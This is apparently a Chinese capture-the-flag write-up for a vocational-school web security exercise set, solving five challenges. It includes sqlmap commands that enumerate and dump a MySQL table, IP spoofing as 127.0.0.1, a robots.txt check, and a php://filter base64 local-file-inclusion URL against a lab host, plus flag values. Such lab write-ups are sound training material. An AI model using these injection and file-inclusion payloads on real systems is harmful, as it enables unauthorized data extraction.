PYsystem003 中职网络安全

1ip/1

F12被禁用，有两种解法

解法一：进入第二题，F12，

F12不退，换回第一题

解法二：新建网址，查看网页源代码

Flag{fc35fdc70d5fc69d269883a822c7a53e}

2.ip/2

直接sqlmap –u 网址 –forms –dbs

发现mysql数据库

sqlmap -u 网址--forms -D mysql --tables

sqlmap –u 网址 --forms -D mysql -T 'comehere!!!' --dump

3.ip/3

看到这里在后面添加后缀 robots.txt试一试

4.ip/4

本地用户ip：127.0.0.1

抓包

flag{c71b47723409ac75d3e6b28f78b372ce}

5.ip/5

http://172.16.103.250/5/?file=php://filter/read=convert.base64-encode/resource=index.php

看到flag.php , 修改网址后缀

http://172.16.103.250/5/?file=php://filter/read=convert.base64-encode/resource=flag.php

修改之后会发现第二个base64码，echo 破解 得flag